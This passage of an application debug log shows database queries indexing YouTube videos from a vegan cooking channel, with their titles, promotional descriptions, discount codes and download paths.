My Best After Vacation", 1, nil, false, "Ox0luqUUrs8", "https://www.youtube.com/watch?v=Ox0luqUUrs8", "/downloads/downloads/alec/Steamy Vegan/2025-04-22 What I Eat in a Day as a Vegan to Detox and Feel My Best After Vacation/What I Eat in a Day as a Vegan to Detox and Feel My Best After Vacation [Ox0luqUUrs8].NA", false, ~U[2025-04-22 00:00:00Z]] 20:31:06.842 [debug] QUERY OK source="sources" db=1.3ms idle=11.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.845 [debug] QUERY OK source="media_items" db=2.2ms queue=0.3ms idle=10.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-19 00:00:00Z], 1] 20:31:06.847 [debug] QUERY OK source="media_items" db=1.3ms idle=10.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this episode I show off all of my kitchen gadgets as I take you on a kitchen tour! 👩🏻\u200D🍳 As an influencer I've gathered a ton of innovative kitchen gadgets over the years and have designed a pretty efficient small kitchen with hydroponic gardens, zero waste gadgets, and a bunch of other awesome kitchen tools I'll review in this video. All discount links are below ⬇️\n\n✨Featured Product: Buydeem G32 Mini Food Steamer\nSave 10%!!! *Can’t combine with other discounts. Valid thru May 19.\nCode: STEAMY10\n#BUYDEEM\n#BUYDEEMG32\n\n✨Shop on their website: https://ca.buydeem.com/products/ca-g3...\n\n✨Shop on Amazon: https://www.amazon.ca/dp/B0DF2TDT78?m...\n\n\n✨Other Products Featured in this Episode (with affiliate links):\n10% off Santevia Water Filters 💦 Code: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n10% off iHarvest Indoor Gardens: Code: STEAMYVEGAN\n🔗:https://igworks.com/products/iharvest...\nVitamix Explorian 🔗 https://amzn.to/4cHlLif\nMelitta Coffee Grinder 🔗 https://amzn.to/3RoWXla\nKitchenAid Artisan Stand Mixer 🔗 https://amzn.to/441MjII\nInstant Pot 🔗 https://amzn.to/4cJLoyY\nAnolon X - SearTech Nonstick 10-Piece Cookware Set 🔗 https://amzn.to/4cNNwpm\nLomi 2 Food Recycler 🔗 https://get.aspr.app/SHvug\nBreville Smart Oven Air Fryer 🔗 https://www.breville.com/ca/en/produc...\n\n✨SHOP ALL MY FAVORITE PRODUCTS ON MY WEBSITE ✨\nhttps://steamyvegan.com/shop/", "SMALL Kitchen Tour! (Best Kitchen Gadgets 2025)", "61a7db91-a2c3-444e-b8f5-b15591e5f702", 1, [], false, "kXkewNhV4Yc", "https://www.youtube.com/watch?v=kXkewNhV4Yc", 97, "/downloads/downloads/alec/Steamy Vegan/2025-04-19 SMALL Kitchen Tour! (Best Kitchen Gadgets 2025)/SMALL Kitchen Tour! (Best Kitchen Gadgets 2025) [kXkewNhV4Yc].NA", false, false, false, 1, ~U[2025-04-19 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "In this episode I show off all of my kitchen gadgets as I take you on a kitchen tour! 👩🏻\u200D🍳 As an influencer I've gathered a ton of innovative kitchen gadgets over the years and have designed a pretty efficient small kitchen with hydroponic gardens, zero waste gadgets, and a bunch of other awesome kitchen tools I'll review in this video. All discount links are below ⬇️\n\n✨Featured Product: Buydeem G32 Mini Food Steamer\nSave 10%!!! *Can’t combine with other discounts. Valid thru May 19.\nCode: STEAMY10\n#BUYDEEM\n#BUYDEEMG32\n\n✨Shop on their website: https://ca.buydeem.com/products/ca-g3...\n\n✨Shop on Amazon: https://www.amazon.ca/dp/B0DF2TDT78?m...\n\n\n✨Other Products Featured in this Episode (with affiliate links):\n10% off Santevia Water Filters 💦 Code: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n10% off iHarvest Indoor Gardens: Code: STEAMYVEGAN\n🔗:https://igworks.com/products/iharvest...\nVitamix Explorian 🔗 https://amzn.to/4cHlLif\nMelitta Coffee Grinder 🔗 https://amzn.to/3RoWXla\nKitchenAid Artisan Stand Mixer 🔗 https://amzn.to/441MjII\nInstant Pot 🔗 https://amzn.to/4cJLoyY\nAnolon X - SearTech Nonstick 10-Piece Cookware Set 🔗 https://amzn.to/4cNNwpm\nLomi 2 Food Recycler 🔗 https://get.aspr.app/SHvug\nBreville Smart Oven Air Fryer 🔗 https://www.breville.com/ca/en/produc...\n\n✨SHOP ALL MY FAVORITE PRODUCTS ON MY WEBSITE ✨\nhttps://steamyvegan.com/shop/", "SMALL Kitchen Tour! (Best Kitchen Gadgets 2025)", 1, nil, false, "kXkewNhV4Yc", "https://www.youtube.com/watch?v=kXkewNhV4Yc", "/downloads/downloads/alec/Steamy Vegan/2025-04-19 SMALL Kitchen Tour! (Best Kitchen Gadgets 2025)/SMALL Kitchen Tour! (Best Kitchen Gadgets 2025) [kXkewNhV4Yc].NA", false, ~U[2025-04-19 00:00:00Z]] 20:31:06.848 [debug] QUERY OK source="sources" db=0.8ms idle=9.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.850 [debug] QUERY OK source="media_items" db=2.4ms idle=8.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-09 00:00:00Z], 1] 20:31:06.853 [debug] QUERY OK source="media_items" db=2.5ms idle=8.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this Costco vegan grocery haul I'll show you the 10 best budget vegan groceries I buy on the regular to help you save money on your next grocery haul! These are all healthy, vegan and gluten-free groceries that I've calculated to be the best prices around where I live which is why I've ranked them as great Costco budget finds.\n\nFor Business Inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Costco Grocery Haul Top 10 Budget Vegan Groceries", "06913d14-89e7-4067-80dd-86a4ea74637d", 1, [], false, "QPqvHHHk1t0", "https://www.youtube.com/watch?v=QPqvHHHk1t0", 98, "/downloads/downloads/alec/Steamy Vegan/2025-04-09 Costco Grocery Haul Top 10 Budget Vegan Groceries/Costco Grocery Haul Top 10 Budget Vegan Groceries [QPqvHHHk1t0].NA", false, false, false, 1, ~U[2025-04-09 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "In this Costco vegan grocery haul I'll show you the 10 best budget vegan groceries I buy on the regular to help you save money on your next grocery haul! These are all healthy, vegan and gluten-free groceries that I've calculated to be the best prices around where I live which is why I've ranked them as great Costco budget finds.\n\nFor Business Inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Costco Grocery Haul Top 10 Budget Vegan Groceries", 1, nil, false, "QPqvHHHk1t0", "https://www.youtube.com/watch?v=QPqvHHHk1t0", "/downloads/downloads/alec/Steamy Vegan/2025-04-09 Costco Grocery Haul Top 10 Budget Vegan Groceries/Costco Grocery Haul Top 10 Budget Vegan Groceries [QPqvHHHk1t0].NA", false, ~U[2025-04-09 00:00:00Z]] 20:31:06.854 [debug] QUERY OK source="sources" db=0.7ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.857 [debug] QUERY OK source="media_items" db=2.1ms idle=8.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-05 00:00:00Z], 1] 20:31:06.859 [debug] QUERY OK source="media_items" db=0.9ms idle=9.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this what I eat in a day style video I tried 3 vegan recipes from Pamela Anderson's new cookbook, 'I Love You'! Let's see what I think about Pam Anderson's vegan diet and her vegan recipes from her new cookbook 😄 You guys enjoyed my first episode trying Pam Anderson's vegan recipes that I decided to film this 2nd episode with 3 new recipes from her cookbook!\n\nBlog: Steamyvegan.com\nFor Business Inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "I Tried Vegan Recipes from Pamela Anderson's Cookbook! 🌱 Ep. 2 (What I Eat in a Day)", "06469e0b-aa7d-495b-bce2-6974617e67e7", 1, [], false, "uHJ2i3WZIG4", "https://www.youtube.com/watch?v=uHJ2i3WZIG4", 99, "/downloads/downloads/alec/Steamy Vegan/2025-04-05 I Tried Vegan Recipes from Pamela Anderson's Cookbook! 🌱 Ep. 2 (What I Eat in a Day)/I Tried Vegan Recipes from Pamela Anderson's Cookbook! 🌱 Ep. 2 (What I Eat in a Day) [uHJ2i3WZIG4].NA", false, false, false, 1, ~U[2025-04-05 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "In this what I eat in a day style video I tried 3 vegan recipes from Pamela Anderson's new cookbook, 'I Love You'! Let's see what I think about Pam Anderson's vegan diet and her vegan recipes from her new cookbook 😄 You guys enjoyed my first episode trying Pam Anderson's vegan recipes that I decided to film this 2nd episode with 3 new recipes from her cookbook!\n\nBlog: Steamyvegan.com\nFor Business Inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "I Tried Vegan Recipes from Pamela Anderson's Cookbook! 🌱 Ep. 2 (What I Eat in a Day)", 1, nil, false, "uHJ2i3WZIG4", "https://www.youtube.com/watch?v=uHJ2i3WZIG4", "/downloads/downloads/alec/Steamy Vegan/2025-04-05 I Tried Vegan Recipes from Pamela Anderson's Cookbook! 🌱 Ep. 2 (What I Eat in a Day)/I Tried Vegan Recipes from Pamela Anderson's Cookbook! 🌱 Ep. 2 (What I Eat in a Day) [uHJ2i3WZIG4].NA", false, ~U[2025-04-05 00:00:00Z]] 20:31:06.860 [debug] QUERY OK source="sources" db=0.8ms idle=8.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.862 [debug] QUERY OK source="media_items" db=2.0ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-02 00:00:00Z], 1] 20:31:06.865 [debug] QUERY OK source="media_items" db=1.4ms idle=8.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These vegan sheet pan dinners take under 10 minutes to prep and then you just pop them in the oven to bake! They're healthy, high-protein, easy vegan meal prep meals that everyone will enjoy and you'll enjoy only cleaning a sheet pan or 2 afterwards!\n\nLEMONY GREENS & BEANS ➡️ https://steamyvegan.com/lemony-greens...\nBBQ VEGGIES & TOFU ➡️ https://steamyvegan.com/bbq-veggies-t...\n\nCheck out my blog for more recipes: steamyvegan.com\n\nIf you enjoyed this video, check out some of these other easy vegan recipes for busy people:\n6 Ingredient Easy Vegan Recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0Easy\u00A0Healthy\u00A0Vegan\u00A0Recipes\u00A0Under\u00A020\u00A0Minu...\u00A0\u00A0\n3 Healthy Dump and Bake Casseroles: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0Meal\u00A0Prep\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Ca...\u00A0\u00A0\n2 More Healthy Dump and Bake Casseroles: \u00A0\u00A0\u00A0•\u00A02\u00A0Healthy\u00A0Meal\u00A0Prep\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Ca...\u00A0\u00A0\n\nHope you enjoyed this episode and don't forget to like and subscribe! Thanks so much for your continued viewership!\n\nFor Business Inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "2 EASY Vegan Sheet Pan Dinners! Ready in Under 1 Hour ⏲ Lemony Greens & Beans, BBQ Veggies & Tofu", "d71a463c-031c-42cd-ac81-4f65da09c765", 1, [], false, "cqHDFg3HP6o", "https://www.youtube.com/watch?v=cqHDFg3HP6o", 100, "/downloads/downloads/alec/Steamy Vegan/2025-04-02 2 EASY Vegan Sheet Pan Dinners! Ready in Under 1 Hour ⏲ Lemony Greens & Beans, BBQ Veggies & Tofu/2 EASY Vegan Sheet Pan Dinners! Ready in Under 1 Hour ⏲ Lemony Greens & Beans, BBQ Veggies & Tofu [cqHDFg3HP6o].NA", false, false, false, 1, ~U[2025-04-02 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "These vegan sheet pan dinners take under 10 minutes to prep and then you just pop them in the oven to bake! They're healthy, high-protein, easy vegan meal prep meals that everyone will enjoy and you'll enjoy only cleaning a sheet pan or 2 afterwards!\n\nLEMONY GREENS & BEANS ➡️ https://steamyvegan.com/lemony-greens...\nBBQ VEGGIES & TOFU ➡️ https://steamyvegan.com/bbq-veggies-t...\n\nCheck out my blog for more recipes: steamyvegan.com\n\nIf you enjoyed this video, check out some of these other easy vegan recipes for busy people:\n6 Ingredient Easy Vegan Recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0Easy\u00A0Healthy\u00A0Vegan\u00A0Recipes\u00A0Under\u00A020\u00A0Minu...\u00A0\u00A0\n3 Healthy Dump and Bake Casseroles: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0Meal\u00A0Prep\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Ca...\u00A0\u00A0\n2 More Healthy Dump and Bake Casseroles: \u00A0\u00A0\u00A0•\u00A02\u00A0Healthy\u00A0Meal\u00A0Prep\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Ca...\u00A0\u00A0\n\nHope you enjoyed this episode and don't forget to like and subscribe! Thanks so much for your continued viewership!\n\nFor Business Inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "2 EASY Vegan Sheet Pan Dinners! Ready in Under 1 Hour ⏲ Lemony Greens & Beans, BBQ Veggies & Tofu", 1, nil, false, "cqHDFg3HP6o", "https://www.youtube.com/watch?v=cqHDFg3HP6o", "/downloads/downloads/alec/Steamy Vegan/2025-04-02 2 EASY Vegan Sheet Pan Dinners! Ready in Under 1 Hour ⏲ Lemony Greens & Beans, BBQ Veggies & Tofu/2 EASY Vegan Sheet Pan Dinners! Ready in Under 1 Hour ⏲ Lemony Greens & Beans, BBQ Veggies & Tofu [cqHDFg3HP6o].NA", false, ~U[2025-04-02 00:00:00Z]] 20:31:06.867 [debug] QUERY OK source="sources" db=1.0ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.869 [debug] QUERY OK source="media_items" db=2.2ms idle=8.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-30 00:00:00Z], 1] 20:31:06.871 [debug] QUERY OK source="media_items" db=1.5ms idle=9.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These protein pancakes are vegan, gluten-free and perfect for those looking to add more high-protein breakfast recipes to their vegan diet! I've spent years working on perfecting my protein pancakes and these ones definitely 'take the cake' 😆\n\nGet 15% off on your entire order with Complement and definitely try out their protein powders for this recipe as I've found they're simple, no bs, no filler protein powders are the best for this. Click the link below and use my discount code: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nFor all other Complement products, use the link https://lovecomplement.com/?aff=578 and the coupon code STEAMYVEGAN at checkout to save 15% on your order. \n\n#empoweredbycomplement #complementpartner#lovecomplement \n\nPROTEIN PANCAKES RECIPE ➡️ https://steamyvegan.com/protein-panca...\n\nIf you're located in Canada and looking for a Canadian protein powder that I'd recommend then check out Good Protein and my discount code below:\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\nLooking for more high-protein meal inspo? Watch this playlist next! 💪🏼 \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nStill got a sweet tooth? Watch my SWEET TREATS playlist ➡️ \u00A0\u00A0\u00A0•\u00A0SWEET\u00A0TREATS\u00A0\u00A0 OR my CHOCOLATE LOVERS playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0CHOCOLATE\u00A0LOVERS\u00A0\u00A0\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN Protein Pancakes! 🥞 (High Protein Vegan and Gluten Free)", "d9803ad5-40bd-4edf-8423-130215d598cf", 1, [], false, "Zh1fGRu5QPM", "https://www.youtube.com/watch?v=Zh1fGRu5QPM", 101, "/downloads/downloads/alec/Steamy Vegan/2025-03-30 VEGAN Protein Pancakes! 🥞 (High Protein Vegan and Gluten Free)/VEGAN Protein Pancakes! 🥞 (High Protein Vegan and Gluten Free) [Zh1fGRu5QPM].NA", false, false, false, 2, ~U[2025-03-30 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "These protein pancakes are vegan, gluten-free and perfect for those looking to add more high-protein breakfast recipes to their vegan diet! I've spent years working on perfecting my protein pancakes and these ones definitely 'take the cake' 😆\n\nGet 15% off on your entire order with Complement and definitely try out their protein powders for this recipe as I've found they're simple, no bs, no filler protein powders are the best for this. Click the link below and use my discount code: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nFor all other Complement products, use the link https://lovecomplement.com/?aff=578 and the coupon code STEAMYVEGAN at checkout to save 15% on your order. \n\n#empoweredbycomplement #complementpartner#lovecomplement \n\nPROTEIN PANCAKES RECIPE ➡️ https://steamyvegan.com/protein-panca...\n\nIf you're located in Canada and looking for a Canadian protein powder that I'd recommend then check out Good Protein and my discount code below:\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\nLooking for more high-protein meal inspo? Watch this playlist next! 💪🏼 \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nStill got a sweet tooth? Watch my SWEET TREATS playlist ➡️ \u00A0\u00A0\u00A0•\u00A0SWEET\u00A0TREATS\u00A0\u00A0 OR my CHOCOLATE LOVERS playlist! ➡️ 